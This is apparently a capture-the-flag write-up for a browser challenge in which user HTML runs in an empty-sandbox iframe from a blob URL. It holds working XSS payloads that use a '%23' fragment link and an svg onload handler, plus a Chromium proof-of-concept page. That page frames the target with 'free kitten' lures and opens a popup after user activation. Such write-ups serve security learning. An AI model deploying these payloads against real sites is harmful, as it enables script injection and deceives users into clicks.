Pop the alert()
.
We are dealing with a GitHub Pages
site encoding Blob
data (by the user) in a sandboxed iframe
(without further indications):
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>challenge</title>
<style>
body {
display: flex; flex-direction: column; justify-content: center;
align-items: center; height: 100vh;
background-color: #f4f4f4; font-family: Arial, sans-serif;
}
@keyframes rainbow {
0% { color: red; }
16% { color: orange; }
33% { color: yellow; }
50% { color: green; }
66% { color: blue; }
83% { color: indigo; }
100% { color: violet; }
}
marquee {
font-size: 28px; font-weight: bold;
animation: rainbow 3s infinite linear;
margin-bottom: 20px;
}
iframe {
width: 300px; height: 200px; border: 1px solid #ccc;
box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);
border-radius: 8px; margin-bottom: 20px;
}
.solvers { margin-top: 20px; font-size: 18px; text-align: center; }
</style>
</head>
<body>
<marquee>Escape the sandbox</marquee>
<script>
function getQueryParam(name) {
const params = new URLSearchParams(window.location.search);
return params.get(name);
}
const htmlContent = getQueryParam("html");
if (htmlContent) {
const blob = new Blob([htmlContent], { type: "text/html" });
const blobUrl = URL.createObjectURL(blob);
const iframe = document.createElement("iframe");
iframe.src = blobUrl;
iframe.sandbox = "";
document.body.appendChild(iframe);
} else { document.body.innerHTML = "<p>No HTML content provided.</p>"; }
</script>
<!-- iframe src="blob:https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" sandbox=""></iframe -->
<div class="solvers"><h2>Solvers:</h2><ul><li></li></ul></div>
</body>
</html>
We can ask our favorite LLM
to summarize the challenge:
HTML Structure
- The page consists of a
marquee
element displaying the textEscape the sandbox
; - An
iframe
is dynamically created and appended to the body if thehtml
query parameter is provided; - Another
iframe
with a predefinedsrc
andsandbox
attribute is statically included.
- The page consists of a
JavaScript
Within a non-exhaustive list of likely attack scenarios:
- HTML Injection with XS-Leaks;
- HTTP Headers Leakage;
- Caching Discrepancy;
- Old Browser Exploits;
- CSS Exfiltration trick;
- Clickjacking attack.
After spending hours (where others spent minutes) on these different plans, we inevitably realize that getting the Blob
infos with user interaction
is required for now.
Having reread various articles (from the author), we could came across this article containing some interesting proof-of-concept
.
After searching around, we should see that the character symbol #
(encoded to %23
) number-sign (also known as fragment identifier in this context) may retrieve the Blob
URL.
Henceforth, a simple <a href="[character]">test</a>
HTML anchor element in the sandboxed iframe
will then look like this:
<a href="#">
=>blob:https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx#
<a href="?">
=>https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx?
<a href=".">
=>https://*.github.io/
<a href="@">
=>https://*.github.io/@
<a href="&">
=>https://*.github.io/&
(encoded to%26
)<a href="">
=>about:blank#blocked
(will beempty
)<a href="/">
=>https://*.github.io/
<a href="/%23">
=>https://*.github.io/#
<a href=" ">
=>https://*.github.io/%C2%A0
Since we are mostly free of our actions, on the Firefox
browser, it will need the user to click on This Frame
to execute the following <a/href=%23 target=_self>Click *Show Only This Frame* for free kitten</a><svg/onload=alert(origin)>
XSS payload.
However, on Chromium
browser, we could use a bit more realistic code:
<!DOCTYPE html>
<html>
<body>
<iframe id=iframe width=500px height=500px
src="https://*.github.io/X/chal/feb25.html?html=<br><br><a/href=%23 draggable=true>Click here for free kitten</a><svg/onload=alert(origin)>"></iframe>
<script>
let opened = false; setInterval(() => { // Hosted with "python -m http.server" on "http://localhost:8000/poc.htm" url.
if (window.chrome && navigator.userActivation.isActive && !opened) { // Without "Open link in new tab" interactions.
// Clicking anywhere will also trigger "userActivation" (so we may need "addEventListener" method).
iframe.hidden = opened = true; // Destroying the iframe will cause the Blob data to clear itself.
window.open("","_blank",`width=5000,height=5000,top=1,left=1,fullscreen=yes,menubar=no,toolbar=no,location=no,personalbar=no,status=no`).focus(); // close()
}
}, 1000);
</script>
</body>
</html>
Sometimes we may realize that there are unrealistic/illogical use cases in the cybersecurity field, but it is always rewarding in knowledge.